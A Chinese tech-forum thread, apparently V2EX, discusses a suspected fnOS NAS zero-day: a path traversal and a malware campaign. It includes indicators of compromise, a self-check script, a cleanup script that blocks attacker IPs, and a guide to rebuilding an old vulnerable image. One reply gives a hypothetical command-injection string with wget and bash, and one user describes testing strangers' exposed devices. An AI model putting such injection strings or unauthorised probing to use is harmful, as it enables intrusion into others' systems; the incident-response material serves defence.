飞牛 OS 疑似 0day 漏洞，许多用户设备遭到攻击，请尽快检查设备或暂停使用

确实有 0day ，一个路径穿越漏洞，社区里面有说。可以访问整个 nas 全部文件，包括用户存储、敏感配置文件，好像 1.1.15 版本修复了。

我去 fofa 随手搜了几个飞牛的系统，测试了一下都是存在漏洞的（就测试了一下，没有做其他任何操作，没有影响他们的系统安全）
我猜这次攻击可能是下载系统内的密钥，然后通过密钥登陆到系统安装恶意软件的

@a9htdkbv #2 应该是的，被入侵后恶意程序会杀掉飞牛的更新进程并修改 DNS ，阻止用户获取更新包。所以如果官方没有发公告，用户很难感知到出了问题。如果不是这一次攻击者导致整个设备出现异常，而是驻留在设备，真的很难被察觉。

还好我都是用 openvpn 回家，然后通过内网地址访问的，暂时没受到影响
经此一劫，我把 FN Connect 都关了，免得通过官方穿透被黑

其实社区 7 天前就有人反馈过这个漏洞，但是官方轻描淡写的一句“感谢，已修复”。这种核弹级的漏洞理应通过各种渠道通知用户的，比如当年的宝塔 888pma 漏洞通过短信群督促用户升级和前阵子的 react 漏洞全部群发邮件警告。隐瞒这种漏洞明显是官方对用户数据安全的不负责任，更何况已经出现了在野利用影响到了大批量用户

@a9htdkbv #4 是的，我非常气愤的一点就在这里。哪怕官方发个邮件，发个公告，主动道歉承认问题，提醒用户及时修复，我甚至都不会发这个帖子。
一个张口闭口说创始团队是 “NAS 超级发烧友”，把 “安全稳定 NAS 系统” 作为公司生存之本的企业最终就干出这挡子事来。看到隔壁有个感谢 FNOS 团队的帖子就感到更讽刺了，熬夜加班帮用户杀毒都不想着发个声明，全部冷处理，直接对这种企业拉黑。

国产爱用多用

@izToDo 捂着捂着这也算是一种特色了。。经历多几个这种事情就惯了。。你就会对中国自主品牌死心了。

btw 自己也是写代码，在这些环境下，绝大多数都是混口饭吃，上面不断搞 KPI ，下面就能跑就行

@a9htdkbv 可以访问整个 nas 全部文件, 这个说法有依据吗? 如果是真的无疑是对飞牛用户信任的毁灭性打击, 各个帖子看的云里雾里, 官方也轻描淡写的把锅甩给用户 http 公网访问被劫持, 如果确实是系统漏洞应该无关 http, 套了 tls 也没意义, 按我目前的理解官方是随手找了个口径背锅, 然后偷偷修复漏洞当作无事发生? 如果真是这样不负责任没有官方通报以后谁还敢用?

@MiKing233 飞牛官方社区里面最近都是一样的问题，目测 0day 应该是跑不掉了。就是具体的漏洞类型我现在没有确认，只是有一些帖子和技术群里面有提到，这块还有待确认。
但是恶意程序确实已经下到设备内，在我的设备中已经验证了。在内核里面加了模块，清掉了日志，对被篡改的文件加了文件保护，到这一步基本已经算沦陷了，数据已经不安全了。

@izToDo 那确实是, 能到这一步基本算是彻底沦陷了, 好在我一开始就不信任它, 作为一台 VM 跑在 PVE 上里面没有存任何数据, 就用飞牛影视和下载挂了几个 BT 种子, 电影资源都是存在 UniFi 的 UNAS 上通过 SMB 只读挂在 fnOS 上, 那些真把飞牛当 NAS 用存个人数据的惨了...官方糊弄事的态度也是, 在另一个帖子上 www.v2ex.com/t/1189392 看到这个我还纳闷这年头怎么还有中间人攻击, 原来是给自身漏洞找个背锅侠...

内核构建源码都没拿出来 gpl 一概不理的东西

@pingdog 非常有同感。

让我想到了十几年前在国内实习，保密局派人来宣讲，被叫去凑数。人家讲的典型问题各个听上去都很低级，但是直到今天偶尔还能听说。

政府领域尚且如此，不要说个人信息的保护了。什么《个人信息保护法》的存在感远不如领导的看法。

同样的事情在欧洲 24 小时之内要报告，要不然罚款全球营业额 30%，公司领导刑事责任还另算。

用户群大了有攻击价值，自然就会有苍蝇找缝。如果注意一下每次群晖的更新公告，会发现也在修复各种 CVE 漏洞。

不要奢望有百分百安全的系统，Windows 和 macOS 的远程桌面敢暴露在公网被打成筛子也只是时间问题。

正确的做法还是用 Tailscale 来加密流量，减少被公网爬虫扫描的风险。

有好几个提到了用的 1.1.15 依然被感染，重装系统仍然会中木马，推测此问题没找到根因，最新版本依然没被修复

公开通知岂不是打了自己标榜“安全”的脸

没办法，要吃饭的嘛

公网使用飞牛 nas 的一些安全使用小提示--感谢飞牛官方团队
https://www.v2ex.com/t/1189392#reply49

看起来讨论的就是这个。

为什么要暴露端口到公网上？？？

@sn0wdr1am 看到 /t/1189392#r_17272286 贴的图，图中的用户 xwmz1369 披露了关键日志，可以看到日志记录到 docker 相关的命令出错，exit code 125 ，玩过 docker 估计都遇到过这个 exit code 。。随即 wget 下载脚本，然后看到脚本提示—-validate not found ，说明用户的输入拼接在 dockermgr hardcode 的命令的—-validate 之前

个人推测 dockermgr 存在设计缺陷，无过滤就拼接了用户的输入合并成命令并执行，例如用户输入 abc ; wget http://example.com ; bash example.sh —-validate 。符合日志的输出

web api 是否有问题，不评价，未见到有人分享 http logs

@pingdog typo
例如用户输入 abc ; wget http://example.com ; bash example.sh

拼接后
... abc ; wget http://example.com ; bash example.sh —-validate ...

nas 我都没敢暴露公网上，一直都是 openvpn 或者 ss 回去的。

这东东不敢用啊

@a9htdkbv 自从进了软件公司干活，我才知道，其实很多事都是轻描淡写，我认为是重大安全事故，重大问题，都会让人选择性无视。即使老板三令五申要求责任到人。只要不是我自己的责任，即使我知道这里有个漏洞，但是都会秉着多一事不如少一事。

刚进公司那会就发现公司平台的接口其实是完全开放没鉴权。吓我一跳~

还有医院的体检报告，都是 流水号，直接加一就是别人的检查报告~

世界就是一个巨大的草台班子这句话含金量还在上升。

没有需求接入公网

福报

@MiKing233 有的，路径穿越漏洞，我去公网上搜了几台服务器实测都可以访问 nas 任意文件。具体漏洞信息是飞牛官方论坛看到的

@lnbiuc 新版本据说已经修复了这个问题，但是已经被攻击的设备只能人工处理掉这个木马后才能获取更新包，被攻击的数量目前来看很庞大。

根据昨天和今天的帖子来看，国产操作系统建议多用

但是可以移民后再多用

我有公网 ip ，但是只开了 https ，没有 http ，一切正常。

@a9htdkbv 但是路径穿越的话，只是能下载文件啊，命令执行是另外的问题了

@a9htdkbv 确认在旧版本上复现了, 镜像是用的很久之前的 fnos-0.9.8-902.iso, 测试只要能访问 Web 后台完全不需要登入认证就可以访问根目录下的所有文件典型的路径穿越漏洞, 有意思的是在最新的 1.1.15 上已经不行了, 所以也印证了我的猜想, 它们团队早就发现了这个灾难级漏洞但是刻意隐瞒不公布出来, 还忽悠用户是因为 HTTP 和 MITM 导致的, 然后偷偷修好 OTA, 剩下已经被挂马的用户让员工一个个人工处理加班到半夜凌晨

说真的我原本对飞牛印象挺好的, 现在算是彻底崩塌了, 系统当然是不可能没有漏洞的, 但漏洞可以原谅隐瞒不能, 官方这种欺骗用户隐瞒真实情况+静默式安全事件处置+幕后补救的态度我个人是完全无法接受的, 这完全是不负责任的态度拿所有用户的数据安全开玩笑

我的飞牛 http 和 https 都在公网中 没有使用默认端口 前面加了一层雷池
目前一切正常

@jiuu 可以试一下 https://club.fnnas.com/forum.php?mod=viewthread&tid=53230 路径穿越漏洞，我现在都在怀疑文件已经泄漏了🤦

有需要复现的用户 这里给个简单的 guide：
- 历史版本从这里获取一个 Docker Image：makedie/fnos:1.1.11-1438_rootfs
- 创建容器但不启动，设置容器的 entrypoint 为 /bin/true
- `docker export` 导出 rootfs 为 tar ，然后把 tar 写入到一个新的虚拟硬盘
- chroot 进去，修 grub 引导，设置 root 密码，设置 dns
- 装 vm guest tool
- （可选）修正 logrotate 启动：chmod 755 /var/log/apt
- 创建 VM 前添加防火墙，拦截到公网的流量，防止自动升级
- 然后创建 VM 并加载第二块虚拟磁盘，启动，创建存储空间
- 继续你的复现

最抽象的是官方到现在仍然不愿意承认是系统漏洞, 仍然使用"http 明文访问", "海外 ip", "第三方进程"等理由避重就轻敷衍大家, 还说这种情况下 HTTPS 加密访问是安全的, 看样子是没有愿意正面承认漏洞并公告告知所有用户安全风险的意思了, 望各位借此次事件认清飞牛团队对产品漏洞和数据隐私泄露事件的处理态度

OUT="/tmp/fnos_ioc_$(date +%F_%H%M%S).txt"
{
echo "== [1] immutable(不可修改) 属性扫描 =="
lsattr -Ra /usr 2>/dev/null | grep '\-i-' || true
lsattr -Ra /etc 2>/dev/null | grep '\-i-' || true

echo
echo "== [2] 可疑文件是否存在 + 基本信息 =="
for f in \
/usr/bin/nginx \
/usr/sbin/gots \
/usr/trim/bin/trim_https_cgi \
/etc/systemd/system/nginx.service \
/etc/systemd/system/trim_https_cgi.service \
/etc/rc.local
do
if [ -e "$f" ]; then
echo "-- $f"
ls -l "$f" 2>/dev/null || true
sha256sum "$f" 2>/dev/null || true
file "$f" 2>/dev/null || true
echo
fi
done

echo "== [3] /etc/modules 与 snd_pcap 模块 =="
grep -n 'snd_pcap' /etc/modules 2>/dev/null || true
lsmod 2>/dev/null | grep -E '^snd_pcap\b' || true
modinfo snd_pcap 2>/dev/null || true
find /lib/modules -name 'snd_pcap.ko' -maxdepth 4 2>/dev/null || true

echo
echo "== [4] 启动项/服务 =="
grep -n 'gots' /etc/rc.local 2>/dev/null || true
systemctl status nginx.service trim_https_cgi.service 2>/dev/null || true
systemctl cat nginx.service trim_https_cgi.service 2>/dev/null || true

echo
echo "== [5] 57132 端口监听情况 =="
ss -lntp 2>/dev/null | grep ':57132' || true
netstat -ntlp 2>/dev/null | grep ':57132' || true

echo
echo "== [6] 关键 IOC 字符串（如有 strings ） =="
if command -v strings >/dev/null 2>&1; then
strings /usr/trim/bin/trim_https_cgi 2>/dev/null | egrep '57132|45\.95\.212\.102|151\.240\.13\.91|turmp' | head -n 80 || true
fi
grep -n '151\.240\.13\.91\|turmp' /usr/trim/bin/system_startup.sh 2>/dev/null || true

echo
echo "== DONE. 输出文件：$OUT =="
} >"$OUT" 2>&1

echo "已生成：$OUT"




自查脚本

如果 fnOS 的人在看的话，建议尽快发布公开说明。使用这个的大部分都不是小白，公开的详细技术分析，不会导致什么负面效果。而直接甩锅什么 http 明文，海外 IP ，或者直接装死只会被自己的节奏反噬。最近一个前车之鉴就是鸭科夫的黑 mod 处理流程，本来 300 万销量的狂欢，戛然而止。

@neroxps #22 那是因为罚的不够，奖的不够。

推卸责任到 HTTP 上是极其不负责的行为，官方只是在愚弄大众

这玩意刚开始疯狂引流的时候，有不少人劝不要用，这不福报就来了

@PrinceofInj 是这样的, CVE 也应该有, 这种妥妥 CVSS 9.X 的洞, 毫无利用难度

@Ryanxxx 测试了，没问题，这个漏洞好像是很老的版本才出现的，早就修复了吧。

这种东西 运营商机器对公的都不敢直接丢公网上 好几层放白的堡垒机用 u 盾才能跳过去 直接开放到公网上给全球做殴打测试 很不合理

@jiuu 1.1.12 还是 11 来着，刚刚才测试过，是有漏洞的，15 就已经 404 修了，明显已经知道漏洞存在，但是刻意隐瞒

这个回复看不懂, 感觉味道不对

按这个意思是不是只要 http, 所有(非飞牛) 都会被攻击成功?

我中招了， 无法更新，把这几个杀了之后就可以更新了

这东西纯玩具性质的，还真有人正经用来存数据&开放公网啊

@jjx #47 只要中间人读取明文 post 或篡改登录页，基本就能得到 http 服务的密码，如果这个服务的权限够高就能进一步入侵

@mercury233
都中间人了,啥都防不住啊

正常的情况 80 端口也只有服务端有漏洞才会被 入侵成功 , 至于被攻击, 啥协议都有可能阿

就像上面所说的造成连接过多, 也不算入侵成功

@jjx #47 无关 HTTP, 即使是 HTTPS 访问也一样, 只要别人能访问你的登陆面板就能拿到你 NAS 中的任何文件, 这是系统漏洞不是 TLS 传输层的问题

@jjx #51 确实，飞牛这个漏洞看起来与中间人攻击是毫无关系的，带漏洞的服务不会因为 https 就更安全（因为浏览器的默认安全策略，可能还更危险一点，不过实际上还是暴露于中间人攻击更危险）

@MiKing233 https://imgur.com/a/11GjB0u
结合这个回复看来还有更大隐情，至少目前看隐瞒了很多信息，还在继续甩锅，有理由怀疑是否找到根因

@verygood https://club.fnnas.com/forum.php?mod=viewthread&tid=53230

@verygood 原因肯定已经找到了, 因为测试最新的 1.1.15 已经修好这个漏洞访问变成 404 了, 至于论坛...官方接着忽悠呗, 反正都是 user 的错, 是 user 没用 https 访问, 是中间人攻击, 是被境外 IP 利用了, 是第三方进程导致的 xxx, 总之资料泄露怪你自己下次注意点和我们没关系噢, 不公布不负责, 能忽悠一个是一个, 论坛大多数都是小白还被它们蒙在鼓里呢, 按剧本接下来要是瞒不住估计要请出临时工大法来祭天了

#!/bin/bash
# FNOS 病毒专杀工具 v3.1 (精简稳定版)

# 1. 设置日志文件
OUT="/tmp/fnos_clean_$(date +%F_%H%M%S).txt"

# 2. 定义颜色
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
NC='\033[0m'

# 3. 定义日志函数 (直接输出并写入文件)
log() { echo -e "$1" | tee -a "$OUT"; }
warn() { echo -e "${RED}[发现威胁] $1${NC}" | tee -a "$OUT"; }
info() { echo -e "${GREEN}[安全] $1${NC}" | tee -a "$OUT"; }
action() { echo -e "${CYAN}[执行修复] $1${NC}" | tee -a "$OUT"; }

echo "========================================================" | tee -a "$OUT"
echo " FNOS 病毒检测与修复工具 " | tee -a "$OUT"
echo "========================================================" | tee -a "$OUT"

# --- 检查 cat 命令 ---
if [ ! -f /usr/bin/cat ] && [ -f /usr/bin/cat2 ]; then
warn "检测到 'cat' 命令丢失，系统已被篡改！"
read -p "是否立即修复 cat 命令？(y/n): " confirm
if [[ $confirm == "y" ]]; then
mv /usr/bin/cat2 /usr/bin/cat
chmod +x /usr/bin/cat
action "已将 cat2 恢复为 cat 。"
fi
fi

# --- 定义恶意文件 ---
MALICIOUS_FILES=(
"/usr/bin/nginx"
"/usr/sbin/gots"
"/usr/trim/bin/trim_https_cgi"
"/etc/systemd/system/nginx.service"
"/etc/systemd/system/trim_https_cgi.service"
)

# --- 扫描病毒 ---
FOUND_VIRUS=0

# 1. 文件扫描
for f in "${MALICIOUS_FILES[@]}"; do
if [ -e "$f" ]; then
warn "发现病毒文件: $f"
FOUND_VIRUS=1
fi
done

# 2. 内核模块扫描
MODULE_LOADED=0
if lsmod | grep -q "snd_pcap"; then
warn "发现恶意内核模块: snd_pcap (正在运行)"
MODULE_LOADED=1
FOUND_VIRUS=1
fi

# 3. 启动脚本扫描
STARTUP_FILE="/usr/trim/bin/system_startup.sh"
INJECTED=0
if [ -f "$STARTUP_FILE" ]; then
if grep -q "151.240.13.91" "$STARTUP_FILE" || grep -q "turmp" "$STARTUP_FILE"; then
warn "启动脚本 ($STARTUP_FILE) 被注入恶意下载代码！"
INJECTED=1
FOUND_VIRUS=1
fi
fi

# 4. 端口扫描
if ss -lntp | grep -q ":57132"; then
warn "发现恶意进程正在监听端口 57132"
FOUND_VIRUS=1
fi

# --- 结果判断 ---
echo "--------------------------------------------------------"
if [ $FOUND_VIRUS -eq 0 ]; then
info "恭喜！未扫描到已知病毒特征。"
exit 0
else
echo -e "${YELLOW}警告：系统已感染！${NC}"
# 再次确认用户是否修复
read -p "是否尝试自动修复并清理所有病毒？(输入 y 确认): " choice
if [[ "$choice" != "y" ]]; then
echo "已取消修复。"
exit 0
fi
fi

echo "==================== 开始修复流程 ======================"

# --- 修复 1: 停止服务 ---
action "停止恶意服务..."
systemctl stop nginx.service trim_https_cgi.service 2>/dev/null
systemctl disable nginx.service trim_https_cgi.service 2>/dev/null

# --- 修复 2: 杀进程 ---
action "强制终止恶意进程..."
pkill -9 -f "trim_https_cgi" 2>/dev/null
pkill -9 -f "gots" 2>/dev/null
# 杀端口占用
PID_57132=$(ss -lntp | grep ":57132" | awk -F'pid=' '{print $2}' | awk -F',' '{print $1}')
if [ -n "$PID_57132" ]; then
kill -9 "$PID_57132" 2>/dev/null
action "已终止监听 57132 的进程"
fi

# --- 修复 3: 卸载模块 ---
if [ $MODULE_LOADED -eq 1 ]; then
action "尝试卸载恶意内核模块 snd_pcap..."
chattr -i /lib/modules/*/snd_pcap.ko 2>/dev/null
rmmod snd_pcap 2>/dev/null
if lsmod | grep -q "snd_pcap"; then
echo -e "${RED}[失败] 无法卸载 snd_pcap ，请修复后尝试重启。${NC}"
else
action "内核模块已卸载。"
fi
# 删除模块文件
find /lib/modules -name "snd_pcap.ko" -exec rm -f {} \;
depmod -a
fi

# --- 修复 4: 删除文件 ---
action "解锁并删除病毒文件..."
for f in "${MALICIOUS_FILES[@]}"; do
if [ -e "$f" ]; then
chattr -i "$f" 2>/dev/null
rm -f "$f"
if [ ! -e "$f" ]; then
action "已删除: $f"
fi
fi
done

# --- 修复 5: 清理启动脚本 ---
if [ $INJECTED -eq 1 ]; then
action "清理启动脚本中的恶意代码..."
cp "$STARTUP_FILE" "${STARTUP_FILE}.bak"
sed -i '/151.240.13.91/d' "$STARTUP_FILE"
sed -i '/turmp/d' "$STARTUP_FILE"
action "启动脚本已清理。"
fi

# --- 修复 6: 防火墙 ---
action "添加防火墙规则 (屏蔽恶意 IP)..."
if command -v nft >/dev/null 2>&1; then
nft add rule inet filter input ip saddr 45.95.212.102 drop 2>/dev/null
nft add rule inet filter input ip saddr 151.240.13.91 drop 2>/dev/null
nft add rule inet filter output ip daddr 45.95.212.102 drop 2>/dev/null
nft add rule inet filter output ip daddr 151.240.13.91 drop 2>/dev/null
else
iptables -I INPUT -s 45.95.212.102 -j DROP 2>/dev/null
iptables -I OUTPUT -d 45.95.212.102 -j DROP 2>/dev/null
iptables -I INPUT -s 151.240.13.91 -j DROP 2>/dev/null
iptables -I OUTPUT -d 151.240.13.91 -j DROP 2>/dev/null
fi
action "防火墙规则已应用。"

echo "========================================================" | tee -a "$OUT"
echo "修复完成。建议输入 'reboot' 重启系统。" | tee -a "$OUT"


自查删除脚本，基于上面的自查脚本改造

通过域名固定高位端口 nginx 反代 会中招吗